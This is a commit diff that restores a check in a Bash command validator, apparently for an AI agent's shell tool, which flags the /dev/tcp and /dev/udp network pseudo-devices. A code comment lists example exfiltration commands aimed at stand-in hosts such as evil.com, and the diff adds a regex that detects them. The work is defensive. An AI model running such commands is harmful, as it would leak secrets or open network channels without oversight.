fix: restore /dev/tcp /dev/udp network device redirect security check

Batch 2 merge overwrote the package version (which had this check) with
the src version (which didn't). Cherry-picked back from commit 32765897.

Re-added:
  - NETWORK_DEVICE_REDIRECT check ID
  - validateNetworkDeviceRedirect() function
  - Registration in both sync and async validator lists

Test: 15/15 pass (networkDeviceRedirect.test.ts)

packages/builtin-tools/src/tools/BashTool/bashSecurity.ts

@@ -98,6 +98,7 @@ const BASH_SECURITY_CHECK_IDS = {
   BACKSLASH_ESCAPED_OPERATORS: 21,
   COMMENT_QUOTE_DESYNC: 22,
   QUOTED_NEWLINE: 23,
+  NETWORK_DEVICE_REDIRECT: 24,
 } as const
 
 type ValidationContext = {
@@ -2241,6 +2242,46 @@ function validateZshDangerousCommands(
   }
 }
 
+/**
+ * Detects usage of Bash's network pseudo-device paths /dev/tcp/ and /dev/udp/.
+ *
+ * SECURITY: Bash interprets /dev/tcp/host/port and /dev/udp/host/port as
+ * network connections when used in redirects or as arguments to commands
+ * like cat. This allows data exfiltration without any network tools:
+ *
+ *   echo "secrets" > /dev/tcp/evil.com/4444
+ *   cat < /dev/tcp/evil.com/8080
+ *   exec 3<>/dev/udp/evil.com/53
+ *   cat /dev/tcp/attacker.com/8080
+ *
+ * These paths are NOT real filesystem entries — they are intercepted by Bash
+ * itself. Normal path validation (validatePath) cannot catch them because
+ * the files don't exist on disk.
+ */
+const NETWORK_DEVICE_PATH_RE =
+  /\/dev\/(tcp|udp)\/[^/\s"'`$]+\/\d+/i
+
+function validateNetworkDeviceRedirect(
+  context: ValidationContext,
+): PermissionResult {
+  // Check in fullyUnquotedContent to catch quoted variants like "/dev/tcp/..."
+  if (NETWORK_DEVICE_PATH_RE.test(context.fullyUnquotedContent)) {
+    logEvent('tengu_bash_security_check_triggered', {
+      checkId: BASH_SECURITY_CHECK_IDS.NETWORK_DEVICE_REDIRECT,
+    })
+    return {
+      behavior: 'ask',
+      message:
+        'Command uses /dev/tcp or /dev/udp network pseudo-device which can be used for network access',
+    }
+  }
+
+  return {
+    behavior: 'passthrough',
+    message: 'No network device redirects',
+  }
+}
+
 // Matches non-printable control characters that have no legitimate use in shell
 // commands: 0x00-0x08, 0x0B-0x0C, 0x0E-0x1F, 0x7F. Excludes tab (0x09),
 // newline (0x0A), and carriage return (0x0D) which are handled by other
@@ -2372,6 +2413,7 @@ export function bashCommandIsSafe_DEPRECATED(
     validateMidWordHash,
     validateBraceExpansion,
     validateZshDangerousCommands,
+    validateNetworkDeviceRedirect,
     // Run malformed token check last - other validators should catch specific patterns first
     // (e.g., $() substitution, backticks, etc.) since they have more precise error messages
     validateMalformedTokenInjection,
@@ -2565,6 +2607,7 @@ export async function bashCommandIsSafeAsync_DEPRECATED(
     validateMidWordHash,
     validateBraceExpansion,
     validateZshDangerousCommands,
+    validateNetworkDeviceRedirect,
     validateMalformedTokenInjection,
   ]